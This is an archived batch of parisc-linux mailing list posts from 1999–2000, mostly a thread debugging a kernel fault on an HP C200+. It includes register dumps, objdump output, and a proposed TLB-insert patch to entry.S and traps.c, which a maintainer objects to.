Original-Received: (qmail 76810 invoked by uid 0); 2 Sep 2000 22:41:46 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 2 Sep 2000 22:41:46 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7879

Hello,

I am getting the following error when I attempt to boot parisc-linux on
the
C200+.

VFS: Mounted root (nfs filesystem) readonly.
execve /sbin/init c0270008 c0270030

Kernel Fault: Code=7 regs=c7f98248 (Addr=00000110)

PSW  : 0004000b  GR 1 : 00002000  GR 2 : 00013403  GR 3 : 00000000
GR 4 : 2001ff74  GR 5 : 00000000  GR 6 : 000777f4  GR 7 : 000010c4
GR 8 : 000011bc  GR 9 : c7f98000  GR10 : c022fa78  GR11 : c0270030
GR12 : c0270008  GR13 : c022fe14  GR14 : c0270000  GR15 : 617bfdfb
GR16 : c027c60c  GR17 : 00000000  GR18 : c02b0000  GR19 : 00000001
GR20 : 00000037  GR21 : 00089b9c  GR22 : 00089bd8  GR23 : 000010c4
GR24 : 2001ff74  GR25 : 00000001  GR26 : 00000000  GR27 : 00088f00
GR28 : b64d8e60  GR29 : b44302d0  GR30 : 20020140  GR31 : 00022d63
SR0  : 00002000  SR1  : fffd2dff  SR2  : 00000000  SR3  : 00002000
SR4  : 00000000  SR5  : 00002000  SR6  : 00002000  SR7  : 00002000

IASQ : 00000000 00000000 IAOQ : 00000110 00000114 ORIG_R28 : ffdf7fff
 IIR : 43ffff40 ISR : 00000000 IOR : 00000000



Paul Bame helped me start tracking this error down.  I wanted to post
his
analysis along with the boot message to this list for further comment.
(Hopefully his analysis will help other how to start debugging these
errors
as Paul helped me.)

- Kernel Fault Code 7 is an Instruction Memory Protection Trap.

- Stack Pointer (GR30) is in user space.   Most of the time if the
kernel
is in kernel space GR30 will look like this: 0xcxxxxxxx.

- GR2 is often the address where a subroutine will return, so it tells
where
it was called from.  In this case: 00013403.

- The last two bits of GR2 are non-zero, which is consistent with a
userspace program.

- Perform an objdump -d on sash and look for address 133f8.
        (GR2 & 0xfffffffc) - 0x8 (two instructions).

   133f8:       e8 47 12 b4     b,l 22d58 <__libc_fcntl>,rp
   133fc:       34 19 00 02     ldi 1,r25
   13400:       8f 9f 20 50     cmpib,<> -1,ret0,13430
<check_one_fd+0x44>
   13404:       4b c2 3f 59     ldw -54(sr0,sp),rp

- Find out who/what called your kernel, by looking up the sysmbols in
sash (Note the sasy binary must contain symbols):

    hppa-linux-nm -n sash | grep 22d58

00022d58 W __fcntl
00022d58 T __libc_fcntl
00022d58 W fcntl


I am going to start digging around in sash and glibc to see if I can
figure out
anymore information on this problem.  Any help/advice is appreciated.

Thanks,

Ryan




From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erik Paulson <epaulson@upl.cs.wisc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] bubsy on the list ?
Date: Sat, 27 Mar 1999 22:28:31 -0600 (CST)
Lines: 25
Approved: news@gmane.org
Message-ID: <199903280428.WAA24987@dukat.upl.cs.wisc.edu>
References: <36FDA12A.81AA2081@america.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619106 3354 80.91.229.3 (22 Nov 2014 01:18:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:26 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: epaulson@dukat.upl.cs.wisc.edu  Sat Mar 27 23:28:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id XAA32323
	for <hppa-linux@sod.res.cmu.edu>; Sat, 27 Mar 1999 23:28:43 -0500
Original-Received: (qmail 28079 invoked by uid 15267); 28 Mar 1999 04:27:19 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 28072 invoked from network); 28 Mar 1999 04:27:19 -0000
Original-Received: from dukat.upl.cs.wisc.edu (128.105.45.39)
  by mailserv2.iuinc.com with SMTP; 28 Mar 1999 04:27:19 -0000
Original-Received: (from epaulson@localhost)
	by dukat.upl.cs.wisc.edu (8.9.2/8.9.2) id WAA24987
	for hppa-linux@thepuffingroup.com; Sat, 27 Mar 1999 22:28:31 -0600 (CST)
In-Reply-To: <36FDA12A.81AA2081@america.net> from "Ed June" at Mar 27, 99 10:25:30 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7880

ftp://hpux.cae.wisc.edu/hpux/Gnu/

-Erik


> 
> Is there a site w/ hp gnu utility binaries ?
> 
> Like the freesoftware site for solaris ?
> 
> --
> 
>  Ed June
> 
>  buggz@america.net
>  Linux: An open choice for free people worldwide.
> 
> 
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: 02 Sep 2000 21:00:33 -0400
Organization: Linuxcare, Inc.
Lines: 39
Approved: news@gmane.org
Message-ID: <87em32l26m.fsf@linuxcare.com>
References: <39B1822A.4E8F20AB@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619106 3359 80.91.229.3 (22 Nov 2014 01:18:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: dhd@linuxcare.com  Sat Sep  2 19:01:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA03990
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Sep 2000 19:01:58 -0600
Original-Received: (qmail 4411 invoked by uid 15267); 3 Sep 2000 01:02:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4404 invoked from network); 3 Sep 2000 01:02:07 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 01:02:07 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13VO9C-0006P6-00; Sat, 02 Sep 2000 21:00:34 -0400
In-Reply-To: Ryan Bradetich's message of "Sat, 02 Sep 2000 16:41:46 -0600"
Original-Lines: 38
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7881

Ryan Bradetich <rbradetich@uswest.net> writes:

> Kernel Fault: Code=7 regs=c7f98248 (Addr=00000110)
> 
> PSW  : 0004000b  GR 1 : 00002000  GR 2 : 00013403  GR 3 : 00000000
> GR 4 : 2001ff74  GR 5 : 00000000  GR 6 : 000777f4  GR 7 : 000010c4
> GR 8 : 000011bc  GR 9 : c7f98000  GR10 : c022fa78  GR11 : c0270030
> GR12 : c0270008  GR13 : c022fe14  GR14 : c0270000  GR15 : 617bfdfb
> GR16 : c027c60c  GR17 : 00000000  GR18 : c02b0000  GR19 : 00000001
> GR20 : 00000037  GR21 : 00089b9c  GR22 : 00089bd8  GR23 : 000010c4
> GR24 : 2001ff74  GR25 : 00000001  GR26 : 00000000  GR27 : 00088f00
> GR28 : b64d8e60  GR29 : b44302d0  GR30 : 20020140  GR31 : 00022d63
> SR0  : 00002000  SR1  : fffd2dff  SR2  : 00000000  SR3  : 00002000
> SR4  : 00000000  SR5  : 00002000  SR6  : 00002000  SR7  : 00002000
> 
> IASQ : 00000000 00000000 IAOQ : 00000110 00000114 ORIG_R28 : ffdf7fff
                           ^^^^^^^^^^^^^^^^^^^^^^^^

That is the syscall gateway page.  Note that the low bits of IAOQ are
clear, so you are running in kernel mode and kernel space at this
point.  Note also that the IAOQ points to just after the 'gate'
instruction in linux_gateway_page, and from the look of the space
registers, you've managed to successfully execute the instruction in
the delay slot of the gate (mtsp %r0,%sr4) but nothing else.

Note that GR20 is 0x37, which is the syscall number for fcntl(), which
confirms your earlier findings :-)

>  IIR : 43ffff40 ISR : 00000000 IOR : 00000000

That IIR doesn't look like any instruction on the syscall page that I
know of.  Perhaps the gateway page is not getting mapped properly.
The fact that it is trapping after the 'gate' instruction seems to
support this.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Pflederer <krp@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: Sat, 2 Sep 2000 21:07:13 -0500
Lines: 316
Approved: news@gmane.org
Message-ID: <20000902210713.C987@localhost.localdomain>
References: <39B1822A.4E8F20AB@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="dc+cDN39EJAMEtIO"
X-Trace: ger.gmane.org 1416619107 3362 80.91.229.3 (22 Nov 2014 01:18:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:27 +0000 (UTC)
To: Ryan Bradetich <rbradetich@uswest.net>, parisc-linux@thepuffingroup.com
Original-X-From: krp@rsn.hp.com  Sat Sep  2 20:04:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA04422
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Sep 2000 20:04:51 -0600
Original-Received: (qmail 7103 invoked by uid 15267); 3 Sep 2000 02:05:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7096 invoked from network); 3 Sep 2000 02:05:00 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 02:05:00 -0000
Original-Received: from cmail2.rsn.hp.com (cmail2.rsn.hp.com [15.99.101.1])
	by palrel3.hp.com (Postfix) with ESMTP
	id 1855429F; Sat,  2 Sep 2000 19:04:59 -0700 (PDT)
Original-Received: from localhost.localdomain (root@rsnext89.rsn.hp.com [15.99.248.89]) by cmail2.rsn.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.0) id VAA19215; Sat, 2 Sep 2000 21:04:55 -0500 (CDT)
Original-Received: (from krp@localhost)
	by localhost.localdomain (8.9.3/8.8.7) id VAA19898;
	Sat, 2 Sep 2000 21:08:18 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <39B1822A.4E8F20AB@uswest.net>; from rbradetich@uswest.net on Sat, Sep 02, 2000 at 04:41:46PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7882


--dc+cDN39EJAMEtIO
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I see this on C180.  It goes away if you modify entry.S to use
PA2.0-style tlb inserts instead of the PA1.1-style tlb inserts.
Try the attached patch.  It modifies the tlb miss handlers at startup to
use PA2.0 tlb inserts if you have a PA2.0 cpu.  PA-8000 docs claim
that PA1.1 tlb inserts are not supported, so I suspect we're hitting
a case that doesn't work.

Would someone who has CVS write access be willing to commit this
patch?  It's the last thing I need to make C180 work.

-Bob

On Sat, Sep 02, 2000 at 04:41:46PM -0600, Ryan Bradetich wrote:
> Hello,
> 
> I am getting the following error when I attempt to boot parisc-linux on
> the
> C200+.
> 
> VFS: Mounted root (nfs filesystem) readonly.
> execve /sbin/init c0270008 c0270030
> 
> Kernel Fault: Code=7 regs=c7f98248 (Addr=00000110)
> 
> PSW  : 0004000b  GR 1 : 00002000  GR 2 : 00013403  GR 3 : 00000000
> GR 4 : 2001ff74  GR 5 : 00000000  GR 6 : 000777f4  GR 7 : 000010c4
> GR 8 : 000011bc  GR 9 : c7f98000  GR10 : c022fa78  GR11 : c0270030
> GR12 : c0270008  GR13 : c022fe14  GR14 : c0270000  GR15 : 617bfdfb
> GR16 : c027c60c  GR17 : 00000000  GR18 : c02b0000  GR19 : 00000001
> GR20 : 00000037  GR21 : 00089b9c  GR22 : 00089bd8  GR23 : 000010c4
> GR24 : 2001ff74  GR25 : 00000001  GR26 : 00000000  GR27 : 00088f00
> GR28 : b64d8e60  GR29 : b44302d0  GR30 : 20020140  GR31 : 00022d63
> SR0  : 00002000  SR1  : fffd2dff  SR2  : 00000000  SR3  : 00002000
> SR4  : 00000000  SR5  : 00002000  SR6  : 00002000  SR7  : 00002000
> 
> IASQ : 00000000 00000000 IAOQ : 00000110 00000114 ORIG_R28 : ffdf7fff
>  IIR : 43ffff40 ISR : 00000000 IOR : 00000000
> 
> 
> 
> Paul Bame helped me start tracking this error down.  I wanted to post
> his
> analysis along with the boot message to this list for further comment.
> (Hopefully his analysis will help other how to start debugging these
> errors
> as Paul helped me.)
> 
> - Kernel Fault Code 7 is an Instruction Memory Protection Trap.
> 
> - Stack Pointer (GR30) is in user space.   Most of the time if the
> kernel
> is in kernel space GR30 will look like this: 0xcxxxxxxx.
> 
> - GR2 is often the address where a subroutine will return, so it tells
> where
> it was called from.  In this case: 00013403.
> 
> - The last two bits of GR2 are non-zero, which is consistent with a
> userspace program.
> 
> - Perform an objdump -d on sash and look for address 133f8.
>         (GR2 & 0xfffffffc) - 0x8 (two instructions).
> 
>    133f8:       e8 47 12 b4     b,l 22d58 <__libc_fcntl>,rp
>    133fc:       34 19 00 02     ldi 1,r25
>    13400:       8f 9f 20 50     cmpib,<> -1,ret0,13430
> <check_one_fd+0x44>
>    13404:       4b c2 3f 59     ldw -54(sr0,sp),rp
> 
> - Find out who/what called your kernel, by looking up the sysmbols in
> sash (Note the sasy binary must contain symbols):
> 
>     hppa-linux-nm -n sash | grep 22d58
> 
> 00022d58 W __fcntl
> 00022d58 T __libc_fcntl
> 00022d58 W fcntl
> 
> 
> I am going to start digging around in sash and glibc to see if I can
> figure out
> anymore information on this problem.  Any help/advice is appreciated.
> 
> Thanks,
> 
> Ryan
> 
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--dc+cDN39EJAMEtIO
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="tlb.patch"

Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/arch/parisc/kernel/entry.S,v
retrieving revision 1.32
diff -u -p -r1.32 entry.S
--- entry.S	2000/08/30 22:28:35	1.32
+++ entry.S	2000/09/02 04:20:06
@@ -655,12 +655,18 @@ dtlb_miss:
 	depi		1,12,1,prot
 	extru,=         pte,_PAGE_USER_BIT,1,r0
 	depi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
+	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
+	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
 
 	/* Get rid of prot bits and convert to page addr for idtlba */
 
 	depi		0,31,12,pte
 	extru		pte,24,25,pte
 
+
+	/* The following may get patched with idtlb_insert_pa20 */
+	.export		idtlb_insert0,code
+idtlb_insert0:
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -671,6 +677,8 @@ dtlb_miss:
 
 	rfir
 	nop
+	.export		idtlb_insert0_end,code
+idtlb_insert0_end:
 
 itlb_miss:
 
@@ -712,6 +720,8 @@ itlb_miss_common:
 	copy            spc,prot        /* init prot with faulting space */
 	dep		pte,8,7,prot
 
+	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
+	depi		1,12,1,prot
 	extru,=         pte,_PAGE_USER_BIT,1,r0
 	depi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
 	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
@@ -722,6 +732,9 @@ itlb_miss_common:
 	depi		0,31,12,pte
 	extru		pte,24,25,pte
 
+	/* The following may get patched with idtlb_insert_pa20 */
+	.export		iitlb_insert,code
+iitlb_insert:
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -732,6 +745,8 @@ itlb_miss_common:
 
 	rfir
 	nop
+	.export		iitlb_insert_end,code
+iitlb_insert_end:
 
 itlb_miss_kernel:
 	b               itlb_miss_common
@@ -773,12 +788,18 @@ dbit_trap:
 	depi		1,12,1,prot
 	extru,=         pte,_PAGE_USER_BIT,1,r0
 	depi		7,11,3,prot /* Set for user space (1 rsvd for read) */
+	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
+	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
 
 	/* Get rid of prot bits and convert to page addr for idtlba */
 
 	depi		0,31,12,pte
 	extru		pte,24,25,pte
 
+
+	/* The following may get patched with idtlb_insert_pa20 */
+	.export		idtlb_insert1,code
+idtlb_insert1:
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -789,7 +810,37 @@ dbit_trap:
 
 	rfir
 	nop
+	.export		idtlb_insert1_end,code
+idtlb_insert1_end:
+
+	.level		2.0
+	.text
+	.export		idtlb_insert_pa20,code
+idtlb_insert_pa20:
+        depd    	%r17,31,32,%r17
+        depdi   	0,46,15,%r17
+	idtlbt		%r16,%r17
+	rfir
+	nop
+	nop
+	nop
+	.export		idtlb_insert_pa20_end,code
+idtlb_insert_pa20_end:
+
+	.export		iitlb_insert_pa20,code
+iitlb_insert_pa20:
+        depd    	%r17,31,32,%r17
+        depdi   	0,46,15,%r17
+	iitlbt		%r16,%r17
+	rfir
+	nop
+	nop
+	nop
+	.export		iitlb_insert_pa20_end,code
+iitlb_insert_pa20_end:
 
+	.level		1.1
+	.text
 	.import handle_interruption,code
 
 kernel_bad_space:
Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/arch/parisc/kernel/traps.c,v
retrieving revision 1.18
diff -u -p -r1.18 traps.c
--- traps.c	2000/08/28 20:16:11	1.18
+++ traps.c	2000/09/02 04:20:06
@@ -29,6 +29,7 @@
 #include <asm/atomic.h>
 
 #include <asm/smp.h>
+#include <asm/pgalloc.h>
 
 static inline void console_verbose(void)
 {
@@ -350,8 +351,7 @@ extern void fault_vector(void);
 
 int __init check_ivt(char * iva)
 {
-	int i;
-	u32 check = 0, *p;
+	u32 *p;
 
 	if(strcmp(iva, "cows can fly"))
 		return -1;
@@ -375,7 +375,55 @@ int __init check_ivt(char * iva)
 
 	return 0;
 }
+
+extern void iitlb_insert(), idtlb_insert0(), idtlb_insert1();
+extern void iitlb_insert_end(), idtlb_insert0_end(), idtlb_insert1_end();
+extern void iitlb_insert_pa20(), idtlb_insert_pa20();
+extern void iitlb_insert_pa20_end(), idtlb_insert_pa20_end();
+
+static inline void
+flush_kernel_icache_range(unsigned long start, unsigned long size)
+{
+	register unsigned long end = start + size;
+	register unsigned long i;
+
+	for (i = start; i <= end; i += L1_CACHE_BYTES) {
+		asm volatile("fic 0(%%sr0, %0)" : : "r" (i));
+	}
+}
+
+void
+trap_patch_tlb_inserts()
+{
+	int ilen = iitlb_insert_pa20_end-iitlb_insert_pa20;
+	int dlen = idtlb_insert_pa20_end-idtlb_insert_pa20;
 	
+	if(ilen != (iitlb_insert_end-iitlb_insert)) {
+		panic("trap_patch_tlb_inserts: iitlb_insert_pa20 bad size");
+	}
+	if(dlen != (idtlb_insert0_end-idtlb_insert0)) {
+		panic("trap_patch_tlb_inserts: idtlb_insert_pa20 bad size");
+	}
+	if(dlen != (idtlb_insert0_end-idtlb_insert0)) {
+		panic("trap_patch_tlb_inserts: idtlb_insert_pa20 bad size");
+	}
+
+	memcpy (iitlb_insert, iitlb_insert_pa20, ilen);
+	memcpy (idtlb_insert0, idtlb_insert_pa20, dlen);
+	memcpy (idtlb_insert1, idtlb_insert_pa20, dlen);
+
+	flush_kernel_dcache_range((unsigned long)iitlb_insert, ilen);
+	flush_kernel_dcache_range((unsigned long)idtlb_insert0, dlen);
+	flush_kernel_dcache_range((unsigned long)idtlb_insert1, dlen);
+
+	flush_kernel_icache_range((unsigned long)iitlb_insert, ilen);
+	flush_kernel_icache_range((unsigned long)idtlb_insert0, dlen);
+	flush_kernel_icache_range((unsigned long)idtlb_insert1, dlen);
+
+        asm volatile("sync");
+
+}
+
 void __init trap_init(void)
 {
 	volatile long eiem;
@@ -385,6 +433,9 @@ void __init trap_init(void)
 	
 	if(check_ivt((void *)fault_vector))
 		panic("IVT invalid");
+	if(boot_cpu_data.cpu_type >= pcxu) {
+		trap_patch_tlb_inserts();
+	}
 
 	mtctl(__pa(&fault_vector), 14);
 	mtctl(0, 30);

--dc+cDN39EJAMEtIO--


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot error on C200+
Date: Sat, 2 Sep 2000 21:29:57 -0600 (MDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200009030329.VAA17641@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619107 3368 80.91.229.3 (22 Nov 2014 01:18:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Sat Sep  2 21:29:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA04874
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Sep 2000 21:29:49 -0600
Original-Received: (qmail 24394 invoked by uid 15267); 3 Sep 2000 03:29:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24384 invoked from network); 3 Sep 2000 03:29:58 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 03:29:58 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id 8153E441
	for <parisc-linux@thepuffingroup.com>; Sat,  2 Sep 2000 21:30:05 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id VAA17641 for parisc-linux@thepuffingroup.com; Sat, 2 Sep 2000 21:29:57 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7883

Bob Pflederer wrote:

> I see this on C180.  It goes away if you modify entry.S to use
> PA2.0-style tlb inserts instead of the PA1.1-style tlb inserts.
> Try the attached patch.  It modifies the tlb miss handlers at startup to
> use PA2.0 tlb inserts if you have a PA2.0 cpu.  PA-8000 docs claim
> that PA1.1 tlb inserts are not supported, so I suspect we're hitting
> a case that doesn't work.
>
> Would someone who has CVS write access be willing to commit this
> patch?  It's the last thing I need to make C180 work.

Please don't anyone do this.  I've got another fix in progress.  Bob is
correct that we shouldn't be using the PA1.1 inserts.  But he was fooled
by redundant code in trap_init(), thinking that we haven't gone virtual
yet.  Code in trap_init() sets the iva, but it should be removed (which I
will do).  We actually set the iva (and install a small set of mappings)
very early in real/head.S and go virtual before calling start_parisc().
We never run any C code in real mode.  Bob's patch means that we would
still run 1.1 inserts for a while, and then it would be patching the tlb
miss handlers WHILE THEY ARE POTENTIALLY BEING USED!

My fix will do a simple 3-4 assembly instruction test for PA2.0 in
head.S, and then install the appropriate iva. This wastes 2K of memory
having two iva's, but is a lot simpler to do in assembly very early
in the boot process. I'll try to get this done by Tuesday morning
(I work throughout the night Monday).

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: Sat, 02 Sep 2000 20:26:31 -0600
Lines: 78
Approved: news@gmane.org
Message-ID: <39B1B6D7.8898D3C6@uswest.net>
References: <39B1822A.4E8F20AB@uswest.net> <87em32l26m.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619107 3369 80.91.229.3 (22 Nov 2014 01:18:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: rbradetich@uswest.net  Sat Sep  2 21:33:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA05076
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Sep 2000 21:33:40 -0600
Original-Received: (qmail 26843 invoked by uid 15267); 3 Sep 2000 03:33:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26834 invoked from network); 3 Sep 2000 03:33:49 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 03:33:49 -0000
Original-Received: (qmail 60514 invoked by alias); 3 Sep 2000 03:00:05 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 13834 invoked by uid 0); 3 Sep 2000 02:26:31 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 3 Sep 2000 02:26:31 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7884

David Huggins-Daines wrote:

> Ryan Bradetich <rbradetich@uswest.net> writes:
>
> > Kernel Fault: Code=7 regs=c7f98248 (Addr=00000110)
> >
> > PSW  : 0004000b  GR 1 : 00002000  GR 2 : 00013403  GR 3 : 00000000
> > GR 4 : 2001ff74  GR 5 : 00000000  GR 6 : 000777f4  GR 7 : 000010c4
> > GR 8 : 000011bc  GR 9 : c7f98000  GR10 : c022fa78  GR11 : c0270030
> > GR12 : c0270008  GR13 : c022fe14  GR14 : c0270000  GR15 : 617bfdfb
> > GR16 : c027c60c  GR17 : 00000000  GR18 : c02b0000  GR19 : 00000001
> > GR20 : 00000037  GR21 : 00089b9c  GR22 : 00089bd8  GR23 : 000010c4
> > GR24 : 2001ff74  GR25 : 00000001  GR26 : 00000000  GR27 : 00088f00
> > GR28 : b64d8e60  GR29 : b44302d0  GR30 : 20020140  GR31 : 00022d63
> > SR0  : 00002000  SR1  : fffd2dff  SR2  : 00000000  SR3  : 00002000
> > SR4  : 00000000  SR5  : 00002000  SR6  : 00002000  SR7  : 00002000
> >
> > IASQ : 00000000 00000000 IAOQ : 00000110 00000114 ORIG_R28 : ffdf7fff
>                            ^^^^^^^^^^^^^^^^^^^^^^^^
>
> That is the syscall gateway page.  Note that the low bits of IAOQ are
> clear, so you are running in kernel mode and kernel space at this
> point.  Note also that the IAOQ points to just after the 'gate'
> instruction in linux_gateway_page, and from the look of the space
> registers, you've managed to successfully execute the instruction in
> the delay slot of the gate (mtsp %r0,%sr4) but nothing else.

I just wanted to verify I understood how you obtained this information...

hppa-linux-objdump -d vmlinux

c010d100 <linux_gateway_entry>:
c010d100:       00 00 e4 a1     mfsp sr7,r1
c010d104:       00 01 d8 20     mtsp r1,sr3
c010d108:       e8 00 20 00     b,gate c010d110 <linux_gateway_entry+0x10>,r0
c010d10c:       00 00 38 20     mtsp r0,sr4
c010d110:       00 00 78 20     mtsp r0,sr5

SR4 = 0, but SR5 != 0 ... therefore the delay slot of the gate instruction
executed.

> Note that GR20 is 0x37, which is the syscall number for fcntl(), which
> confirms your earlier findings :-)

>From arch/parisc/kernel/syscall.S

        ENTRY_NAME(sys_ioctl)
        ENTRY_NAME(sys_fcntl)           /* 55 */
        ENTRY_NAME(sys_socketpair)

55 = 0x37 ....  I understand that....I don't see where GR20 is mapped to the
the syscall number.... (Not really important that I know now... but curious)

> >  IIR : 43ffff40 ISR : 00000000 IOR : 00000000
>
